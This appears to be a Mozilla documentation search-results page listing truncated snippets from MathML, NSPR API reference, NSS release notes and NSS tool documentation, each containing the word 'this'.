MathML3Testsuite
this exception also holds for obsolete features (such as macro, mode etc) or for other undefined behaviors (attribute href for example).
...h presentation css dynamicexpressions generallayout scriptsandlimits tablesandmatrices tokenelements topics accents bidi elementarymathexamples embellishedop largeop linebreak nesting stretchychars whitespace torturetests errorhandling original document information author(s): frédéric wang other contributors: last updated date: may 26, 2010 copyright information: portions of
this content are © 2010 by individual mozilla.org contributors; content available under a creative commons license | details.
MathML Torture Test
you may also try
this test page for mathematical opentype fonts which instead relies on web fonts.
... finally, you may want to check
this table comparing how the tests are read by various screen readers for mozilla browsers.
MathML Screenshots
this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity.
...
this screen capture demonstrates advanced layout with mtable and stretchy operators.
Updates
this page is not maintained frequently.
...
this new version comes with several bug fixes and new features for mathml.
MathML Accessibility in Mozilla
this table below provides a list of mathml constructions and how they are read in mozilla applications for various platforms: windows: mathml support is provided by nvda, which actually delegates math reading to the proprietary mathplayer plugin.
...note that
this is still very experimental.
MathML Demo: <mfrac> - fractions
inline, styles auto, display and text 1 2 - 1 2 + 1.23456 7890 , the rendering should be script-size, normal-size and script-size in
this example.
... and
this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and
this shows a combination with a background image at a desired opacity mathml background image html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</m...
mozilla::Mutex
assertcurrentthreadowns() assert that the current thread has locked
this mutex.
...assertnotcurrentthreadowns() assert that the current thread does not own
this mutex.
mozilla::MutexAutoLock
this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
...constructors mutexautolock( in mozilla::mutex& lock; );
this parameter is a reference so as to guarantee that your code has already properly constructed the mozilla::mutex.
mozilla::MutexAutoUnlock
this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
...constructors mutexautounlock( in mozilla::mutex& lock; );
this parameter is a reference so as to guarantee that your code has already properly constructed the mozilla::mutex.
Are We Slim Yet
this allowed us to run measurements on all branches and platforms.
...to
this end we request that memory reporting be integrated into any new process before it is enabled on nightly.
GC and CC logs
this logs the contents of the javascript heap to a file named gc-edges-nnnn.log.
... to set the environment variable, find the buildbrowserenv method in the python file for the test suite you are interested in, and add something like
this code to the file: browserenv["moz_cc_log_directory"] = os.environ["moz_upload_dir"] browserenv["moz_cc_log_shutdown"] = "1" analyzing gc and cc logs there are numerous scripts that analyze gc and cc logs on github.
Measuring performance using the PerfMeasurement.jsm code module
for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses);
this creates a new perfmeasurement object, configured to record the specified event types.
...
this lets us record information only for the specific code section we want to measure.
javascript.options.strict
this preference controls whether javascript warnings are logged to the javascript console.
... example : <html> <head> <title>sample</title> </head> <body> <label id="name">enter you first name</label> <p id ="sample"></p> <script> "use strict" name1= "john" ; //
this will cause and an error as variable not declared .
Research and prep
this is, therefore, meant to be a guideline for how you should be formulating your recommendations.
...if
this is your first localization for a product, the l10n drivers will file
this bug as part of the new product localization release process.
Productization guide
for example, a search provider can deliver a very good quality of search results — but only in a specific country or language, and we have to take
this into account when considering default search engines for a locale.
...
this guide will walk you through the steps to successfully productizing your localization.
Crash reporting
this system is combination of projects: google breakpad client and server libraries mozilla-specific crash reporting user interface and bootstrap code socorro collection and reporting server where did my crash get submitted?
...if you are interested in obtaining
this advanced access, contact gabriele svelto.
Emscripten techniques
this page contains specific emscripten-related techniques.
...
this article explains how to debug such problems.
Emscripten
important:
this page provides a very brief introduction to what emscripten is.
... compile the c/c++ runtimes of other languages into javascript, and then run code in those other languages in an indirect way (
this has been done for python and lua)!
Firefox Sync
documentation
this document serves as an index for all technical documentation related to sync.
... general the always prolific richard newman has written a couple of notes about bookmark syncing (first, second) and has a blog where he talks about the various challenges syncing
this kind of data.
NSPR build instructions
--enable-win32-target=win95
this option is only used on windows.
... --enable-debug-rtl
this option is only used on windows.
Anonymous Shared Memory
this chapter describes the nspr api for anonymous shared memory.
...
this restricts processes that do not inherit the shared memory from opening the file and reading or writing its contents.
Condition Variables
this chapter describes the api for creating and destroying condition variables, notifying condition variables of changes in monitored data, and making a thread wait on such notification.
...
this data is what will be manipulated by the program under the protection of the monitor.
Locks
this chapter describes the nspr api for creation and manipulation of a mutex of type prlock.
...monitors in
this generic sense should not be confused with monitors used in java programming.
Monitors
this chapter describes the nspr api for creation and manipulation of a mutex of type prmonitor.
...however,
this safety does not extend to protecting the monitor object from deletion.
NSPR LOG MODULES
this environment variable specifies which log modules have logging enabled.
...
this ensures that all log messages are flushed to the operating system as they are written, but may slow the program down.
PL_HashTableLookup
this means that one cannot tell whether a null return value means the entry does not exist or the value of the entry is null.
... keep
this ambiguity in mind if you want to store null values in a hash table.
PRCallOnceType
calling threads that observe
this status block until inprogress is zero.
...
this initialization must be accomplished before any threading issues exist.
PRErrorCode
syntax #include <prerror.h> typedef print32 prerrorcode description the service nspr offers in
this area is the ability to associate a thread-specific condition with an error number.
...nspr does not attempt to address
this issue.
PRFileDesc
identity identity of
this particular layer.
... description the fields of
this structure are significant only if you are implementing a layer on top of nspr, such as ssl.
PRIOMethods
for information about each function, see the corresponding function description in
this document.
...in cases where
this partial implementation occurs, the function returns an error indication with an error code of pr_invalid_method_error.
PRIntn
this type is one of the most appropriate for automatic variables.
...
this types is never valid for fields of a structure.
PRThreadState
this approach facilitates management of the process' critical resources.
...
this results in some ambiguity after the thread's root function has returned and before the thread has finished terminating itself.
PRTimeParameters
this is most commonly 1 hour, but may also be 30 minutes or some other amount.
...
this is broken down as -8 + 1 hours, so tp_gmt_offset is -28800 seconds, and tp_dst_offset is 3600 seconds.
PRUintn
this (unsigned) type is one of the most appropriate for automatic variables.
...
this types is never valid for fields of a structure.
PR_CEnterMonitor
this reference must remain valid as long as there are monitoring operations being performed.
...if a match is found, then either the calling thread is already in the monitor (and
this is a reentrant call) or another thread is holding the monitor's mutex.
PR_CreatePipe
on return,
this parameter contains the file descriptor for the read end of the pipe.
...on return,
this parameter contains the file descriptor for the write end of the pipe.
PR_DetachThread
description
this function detaches the nspr thread from the currently executing native thread.
...
this call is needed only if you attached the thread using pr_attachthread.
PR_ExplodeTime
this location must be preallocated by the caller.
... description
this function converts the specified absolute time to a clock/calendar time in the specified time zone.
PR_FindSymbol
description
this function finds and returns an untyped reference to the specified symbol in the specified library.
... use
this function to look up functions or data symbols in a shared library.
PR GetAddrInfoByName
use pr_enumerateaddrinfo to inspect the prnetaddr values stored in
this structure.
... when no longer needed,
this pointer must be destroyed with a call to pr_freeaddrinfo.
PR_GetLibraryName
description
this function constructs a full path name from the specified directory name and library name.
...
this function does not test for existence of the specified file, it just constructs the full filename.
PR_GetProtoByName
this buffer is allocated by the caller.
...on output,
this structure is filled in by the runtime if the function returns pr_success.
PR_GetProtoByNumber
this buffer is allocated by the caller.
...on output,
this structure is filled in by the runtime if the function returns pr_success.
PR_GetRandomNoise
a return value of zero means that pr_getrandomnoise is not implemented on
this platform, or there is no available noise to be returned at the time of the call.
...
this implies that the random value provided may not be, by itself, cryptographically secure.
PR_GetSocketOption
on input, the option field of
this structure must be set to indicate which socket option to retrieve for the socket represented by the fd parameter.
... on output,
this structure contains the requested socket option data.
PR_LOG
returns nothing description
this macro formats the specified arguments and writes the output to the log file, if logging is enabled for the specified module and level.
...
this macro compiles to nothing if compile-time options are not specified to enable logging.
PR_LoadLibrary
syntax #include <prlink.h> prlibrary* pr_loadlibrary(const char *name); parameters the function has
this parameter: name a platform-dependent character array that names the library to be loaded, as returned by pr_getlibraryname.
... description
this function loads and returns a reference to the specified library.
PR_LocalTimeParameters
this time should be specified in gmt.
... description
this is a frequently-used time parameter callback function.
PR_LogPrint
syntax #include <prlog.h> void pr_logprint(const char *fmt, ...); parameters the function has
this parameter: fmt the string that is used as the formatting specification.
... returns nothing description
this function unconditionally writes a message to the log using the specified format string.
PR_NewLogModule
syntax #include <prlog.h> prlogmoduleinfo* pr_newlogmodule(const char *name); parameters the function has
this parameter: name the name to be assigned to the prlogmoduleinfo structure.
... description
this function allocates and initializes a new prlogmoduleinfo structure with the specified name.
PR_NormalizeTime
description
this function adjusts the fields of the specified time structure using the specified time parameter callback function, so that they are in the proper range.
... call
this function in these situations: to normalize a time after performing arithmetic operations directly on the field values of the calendar time object.
PR_Open
if the file exists,
this flag has no effect.
...
this feature is currently only applicable on unix platforms.
PR_ReadDir
on windows platforms and the mac os,
this value identifies files with the "hidden" attribute set.
... on unix platform,
this value identifies files whose names begin with a period (".").
PR_Send
flags
this obsolete parameter must always be zero.
...if the parameter fd is a blocking socket,
this number must always equal amount.
PR_Wait
this has the effect of making the monitor available to other threads.
...
this is usually done by evaluating a boolean expression involving the monitored data.
PR_Writev
the value of
this parameter must not be greater than pr_max_iovector_size.
...
this is the type definition for priovec: typedef struct priovec { char *iov_base; int iov_len; } priovec; the priovec structure has the following fields: iov_base a pointer to the beginning of the buffer.
Process Initialization
this chapter describes the nspr api for versioning, process initialization, and shutdown of nspr.
...
this facility is recommended in situations where complicated global initialization is required.
Thread Pools
this chapter describes the nspr api thread pools.
... note:
this api is a preliminary version in nspr 4.0 and is subject to change.
Running NSPR tests
to run the test suite, run the shell script mozilla/nsprpub/pr/tests/runtests.sh in the directory where the test program binaries reside, for example, cvs -q co -r nspr_4_6_6_rtm mozilla/nsprpub mkdir linux.debug cd linux.debug ../mozilla/nsprpub/configure gmake cd pr/tests gmake ../../../mozilla/nsprpub/pr/tests/runtests.sh the output of the test suite looks like
this: nspr test results - tests begin mon mar 12 11:44:41 pdt 2007 nspr_test_logfile /dev/null test result accept passed acceptread passed acceptreademu passed affinity passed alarm passed anonfm passed atomic passe...
...
this is not an issue if you run runtests.sh because runtests.sh knows not to run such test programs directly.
NSPR
documentation about nspr
this topic describes, in general terms, the goals of nspr and a bit about how it does it.
... legacy nspr content older nspr content is available in svn for browsing and/or migration to
this site getting nspr nspr is available in various source and binary packages, depending on your platform: windows: build the source package, using the nspr build instructions.
Function_Name
nclude <headers.h> returntype function_name( paramtype paramname, paramtype paramname, ); parameters paramname sample: in pointer to a certcertdbhandle representing the certificate database to look in paramname sample: in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description long description of
this function, what it does, and why you would use it.
...avoid describing the return until the next section, for example:
this function looks in the nsscryptocontext and the nsstrustdomain to find the certificate that matches the der-encoded certificate.
Getting Started With NSS
(unfortunately the nss project doesn't have a technical writer at
this time, so our documentation is not as organized as we would like it to be.
...(
this section is still under construction, but there are many contribution opportunities) start by opening a bugzilla account at bugzilla.mozilla.org if you don't have one.
NSS Key Log Format
(see bug 1188657.) notably, debian does not have
this option enabled, see debian bug 842292.
...
this key log file is a series of lines.
NSS 3.12.4 release notes
distribution information
this release is built from the source, at the cvs repository rooted at cvs.mozilla.org:/cvsroot, with the cvs tag nss_3_12_4_rtm.
...
this is not a hard requirement.
NSS_3.12_release_notes.html
rifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_rev_m_do_not_test_using_
this_method cert_rev_m_test_using_
this_method cert_rev_m_allow_network_fetching cert_rev_m_forbid_network_fetching cert_rev_m_allow_implicit_default_source cert_rev_m_ignore_implicit_default_source cert_rev_m_skip_test_on_missing_source cert_rev_m_require_info_on_missing_source cert_rev_m_ignore_missing_fresh_info cert_rev_m_fail_on_missing_fresh_info cert_rev_m_stop_testing_on_fresh_info cert_rev_m_c...
...ks hashtable key object bug 429230: memory leak in pkix_checkcert function bug 392696: fix copyright boilerplate in all new pkix code bug 300928: integrate libpkix to nss bug 303457: extensions newly supported in libpkix must be marked supported bug 331096: nss softoken must detect forks on all unix-ish platforms bug 390710: certnameconstraintstemplate is incorrect bug 416928: der decode error on
this policy extension bug 375019: cache-enable pkix_ocspchecker_check bug 391454: libpkix does not honor nss's override trust flags bug 403682: cert_pkixverifycert never succeeds bug 324744: add generation of policy extensions to certutil bug 390973: add long option names to secu_parsecommandline bug 161326: need api to convert dotted oid format to/from octet representation bug 376737: cert_importcert...
NSS 3.14.4 release notes
new in nss 3.14.4 new functionality no new major functionality is introduced in
this release.
...
this release is a patch release to address cve-2013-1739.
NSS 3.14.5 release notes
bug 934016 - (cve-2013-5605) handle invalid handshake packets new in nss 3.14.5 new functionality no new major functionality is introduced in
this release.
...
this release is a patch release to address cve-2013-5605.
NSS 3.15.4 release notes
new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when
this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
... bugs fixed in nss 3.15.4 a complete list of all bugs resolved in
this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.4&product=nss compatibility nss 3.15.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.16 release notes
(
this requires nspr 4.10.4.) to build for the linux x32 target, set the environment variable use_x32=1 when building nss.
... bugs fixed in nss 3.16
this bugzilla query returns all the bugs fixed in nss 3.16: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16 ...
NSS 3.17 release notes
this option does not affect the tls client code, which always generates a fresh ephemeral ecdh key for each handshake.
... bugs fixed in nss 3.17
this bugzilla query returns all the bugs fixed in nss 3.17: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17 ...
NSS 3.19 release notes
this was also known as smack.
... bugs fixed in nss 3.19
this bugzilla query returns all the bugs fixed in nss 3.19: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19 acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1086145.
NSS 3.21 release notes
2016-01-07,
this page has been updated to include additional information about the release.
...:55:0c:9c:56:de:bb:f2:78:94:e1 cn = ca wosign ecc root sha1 fingerprint: d2:7a:d2:be:ed:94:c0:a1:3c:c7:25:21:ea:5d:71:be:81:19:f3:2b cn = oiste wisekey global root gb ca sha1 fingerprint: 0f:f9:40:76:18:d3:d7:6a:4b:98:f0:a8:35:9e:0c:fd:27:ac:cc:ed the version number of the updated root ca list has been set to 2.6 bugs fixed in nss 3.21
this bugzilla query returns all the bugs fixed in nss 3.21: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.21 acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489.
NSS 3.25.1 release notes
nss 3.25.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25.
NSS 3.26.2 release notes
nss 3.26.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in
this release.
...
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1.
NSS 3.28.1 release notes
nss 3.28.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_1_rtm/src/ new in nss 3.28.1 no new functionality is introduced in
this release.
...
this is a patch release to update the list of root ca certificates, and address a minor tls compatibility issue, that some applications experienced with nss 3.28.
NSS 3.28.2 release notes
new in nss 3.28.2 no new functionality is introduced in
this release.
...
this is a patch release includes bug fixes and addresses some compatibility issues with tls.
NSS 3.28.5 release notes
nss 3.28.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_5_rtm/src/ new in nss 3.28.5 no new functionality is introduced in
this release.
...
this is a patch release to update the list of root ca certificates.
NSS 3.29.2 release notes
nss 3.29.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_2_rtm/src/ new in nss 3.29.2 new functionality no new functionality is introduced in
this release.
...
this release restores the session ticket lifetime to the intended value.
NSS 3.30.2 release notes
nss 3.30.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_2_rtm/src/ new in nss 3.30.2 no new functionality is introduced in
this release.
...
this is a patch release to update the list of root ca certificates.
NSS 3.30 release notes
this function currently only accepts an rsa public/private key pair.
... bugs fixed in nss 3.30
this bugzilla query returns all the bugs fixed in nss 3.30: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.30 compatibility nss 3.30 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.31 release notes
this is used only when seed_only_dev_urandom is set at compile time.
... bugs fixed in nss 3.31
this bugzilla query returns all the bugs fixed in nss 3.31: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.31 compatibility nss 3.31 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.32 release notes
nss version 3.32 fixed
this bug.
... (cve-2018-5149, bug 1361197)
this bugzilla query returns all the bugs fixed in nss 3.32: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.32 compatibility nss 3.32 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.33 release notes
this version of nss uses a formally verified implementation of curve25519 on 64-bit systems.
... bugs fixed in nss 3.33
this bugzilla query returns all the bugs fixed in nss 3.33: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.33 compatibility nss 3.33 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.4 release notes
nss 3.36.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_4_rtm/src/ new in nss 3.36.4 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix regression bugs.
NSS 3.36.5 release notes
nss 3.36.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_5_rtm/src/ new in nss 3.36.5 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix cve-2018-12384 bugs fixed in nss 3.36.5 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) compatibility nss 3.36.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.6 release notes
nss 3.36.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/ new in nss 3.36.6 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platforms.
NSS 3.36.7 release notes
new in nss 3.36.7 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix bugs.
NSS 3.36.8 release notes
new in nss 3.36.8 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix bugs.
NSS 3.37.3 release notes
nss 3.37.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_3_rtm/src/ new in nss 3.37.3 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix regression bugs.
NSS 3.40.1 release notes
nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/ new in nss 3.40.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.40 release notes
this is a c++ library for building certification paths.
... the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure
this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.42.1 release notes
this was originally announced in nss 3.42, but was mistakenly not included in the release.
... (cve-2018-18508)
this bugzilla query returns all the bugs fixed in nss 3.42.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42.1 compatibility nss 3.42.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.42 release notes
note:
this was mistakenly not in release 3.42, and is instead in nss 3.42.1.
... bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52
this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.43 release notes
to use
this both peers need to enable the ssl_enable_post_handshake_auth option.
...
this bugzilla query returns all the bugs fixed in nss 3.43: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.43 compatibility nss 3.43 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.2 release notes
new in nss 3.44.2 no new functionality is introduced in
this release.
... bugs fixed in nss 3.44.2 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed
this bugzilla query returns all the bugs fixed in nss 3.44.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44.2 compatibility nss 3.44.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.3 release notes
new in nss 3.44.3 no new functionality is introduced in
this release.
... bugs fixed in nss 3.44.3 bug 1579060 - don't set the constructed bit for issueruniqueid and subjectuniqueid in mozilla::pkix cve-2019-11745 - encryptupdate should use maxout, not block size
this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.46.1 release notes
new in nss 3.46.1 no new functionality is introduced in
this release.
... bugs fixed in nss 3.46.1 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed
this bugzilla query returns all the bugs fixed in nss 3.46.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46.1 compatibility nss 3.46.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.46 release notes
new in nss 3.46
this release contains no significant new functionality, but concentrates on providing improved performance, stability, and security.
...t resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaking line formats bug 1575968 - add strsclnt option to enforce the use of either ipv4 or ipv6 bug 1549847 - fix nss builds on ios bug 1485533 - enable nss_ssl_tests on taskcluster
this bugzilla query returns all the bugs fixed in nss 3.46: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46 compatibility nss 3.46 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.47.1 release notes
new in nss 3.47.1 no new functionality is introduced in
this release.
... bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug 1590495 - fix a crash that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings from uninitialized variables in a perl script
this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.48.1 release notes
new in nss 3.48.1 no new functionality is introduced in
this release.
...
this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49.1 release notes
new in nss 3.49.1 no new functionality is introduced in
this release.
...
this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49.2 release notes
new in nss 3.49.2 no new functionality is introduced in
this release.
... bug 1608327 - fix compilation problems with neon-specific code in freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3
this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.53 release notes
this attribute provides a more graceful phase-out for certificate authorities than complete removal from the root certificate builtin store.
...g 1561331 - additional modular inverse test bug 1629553 - rework and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed
this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 compatibility nss 3.53 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS Sample Code sample5
* * there is no attempt to link the public & private key together * *
this example does not do any padding.
...char *buf2 = null; char *pubkstr = base64_encoded_subjectpublickeyinfo; char *pvtkstr = base64_encoded_privatekeyinfo; secitem der; secitem nickname; pk11slotinfo *slot = null; /* initialize nss * you need to explicitly authenticate to the internal token if you use * nss_init insteadf of nss_nodb_init * invoke
this after getting the internal token handle * pk11_authenticate(slot, pr_false, null); */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; } /* get internal slot */ slot = pk11_getinternalkeyslot(); if (slot == null) { fprintf(stderr, "couldn't find slot (err %d)\n...
NSS Third-Party Code
this is a list of third-party code included in the nss repository, broken into two lists: code that can be compiled into the nss libraries, and code that is only used for testing.
...often
this is configurable at build time, with various trade-offs.
PKCS11 module installation
this article covers the two methods for installing pkcs #11 modules into firefox.
... note: the information in
this article is specific to firefox 3.5 and newer.
Migration to HG
each project now lives in its own separate space, they can be found at: https://hg.mozilla.org/projects/nspr/ https://hg.mozilla.org/projects/nss/ https://hg.mozilla.org/projects/jss/ https://hg.mozilla.org/projects/python-nss/
this migration has been used as an opportunity to change the layout of the source directories.
... updated instructions for building nss with nspr can be found at: /docs/nss_reference/building_and_installing_nss/build_instructions it's best to refer to the above document to learn about the various environment variables that you might have to set to build on your platform (
this part hasn't changed).
FC_Initialize
the library parameters string has
this format: "configdir='dir' certprefix='prefix1' keyprefix='prefix2' secmod='file' flags= " here are some examples.
... nss_nodb_init(""), which initializes nss with no databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with
this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescription='psm internal crypto services' cryptotokendescription='generic crypto services' dbtokendescription='software security device' cryptoslotdescription='psm internal cryptographic services' dbslotdescription='psm private keys' fipsslotdescription='psm internal fips-140-1 cryptographic services' fipstokendescription='psm fips-140-1 user private key se...
NSPR functions
these nspr functions are listed in
this section.
...
this method is convenient and works for most applications.
NSS tools : cmsutil
-c content use
this detached content (decode only).
...if
this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
NSS Tools cmsutil
arguments -c content use
this detached content (decode only).
...if
this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
NSS Tools pk12util
availability see the release notes for the platforms
this tool is available on.
...
this option is provided as a special case.
NSS tools : cmsutil
-c content use
this detached content (decode only).
... if
this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
NSS tools : signver
for example: # signver -a -s signature -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql"
this line can be set added to the ~/.bashrc file to make the change permanent.
...for example,
